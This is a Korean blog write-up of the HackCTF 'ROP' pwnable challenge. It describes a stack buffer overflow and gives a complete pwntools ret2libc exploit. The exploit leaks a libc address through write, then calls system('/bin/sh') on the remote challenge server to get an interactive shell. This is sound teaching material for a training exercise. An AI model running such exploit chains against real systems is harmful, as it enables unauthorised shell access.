상세 컨텐츠

본문 제목

[HackCTF] ROP

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 16. 16:30

본문

728x90
반응형

# 보호기법 확인

 

 

# process

 

vulnerable_function 함수에서 read 함수로 0x100 바이트 입력받는다.

버퍼의 크기는 0x88 바이트로 BOF 취약점 존재.

return address를 덮고 ROP를 진행하기에 충분하다.

 

그리고 libc leak을 한 후 system 함수와 "/bin/sh" 문자열을 구한 후 다시 vulnerable_function 함수로 리턴해서 RTL을 진행한다.

 

* ROP gadget 구하기

 

write 함수로 got leak -> write 3개 인자 필요 -> pop; pop; pop; ret gadget 사용

RTL -> system 1개 인자 필요 -> pop; ret gadget 사용

 

$ objdump -d rop | grep -B3 "ret"

 

종류가 한 개 나온다.

 

p3ret : 0x8048509

p1ret : 0x804850b

 

 

# exploit code

 

#!/usr/bin/python
from pwn import *

context.log_level = 'debug'
#p = process("./rop")
p = remote("ctf.j0n9hyun.xyz", 3021)
#gdb.attach(p)
elf = ELF("./rop")
libc = ELF("./libc.so.6")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
p1ret = 0x804850b
p3ret = 0x8048509
vulnerable_function = elf.symbols['vulnerable_function']

pay = 'A'*0x88 + 'B'*4
pay += p32(write_plt) + p32(p3ret) + p32(1) + p32(write_got) + p32(0x4)
pay += p32(vulnerable_function)

p.sendline(pay)
write = u32(p.recv(4))
libcBase = write - libc.symbols['write']
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search("/bin/sh"))[0]
log.info("write : "+hex(write))
log.info("system : "+hex(system))
log.info("binsh : "+hex(binsh))

pay = 'A'*0x88 + 'B'*4
pay += p32(system) + p32(p1ret) + p32(binsh)

p.sendline(pay)

p.interactive()

 

 

# exploit 

 

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] UAF  (0) 2020.01.19
[HackCTF] Random Key  (0) 2020.01.18
[HackCTF] pwning  (0) 2020.01.15
[HackCTF] Gift  (0) 2020.01.12
[HackCTF] Look at me  (0) 2020.01.12

관련글 더보기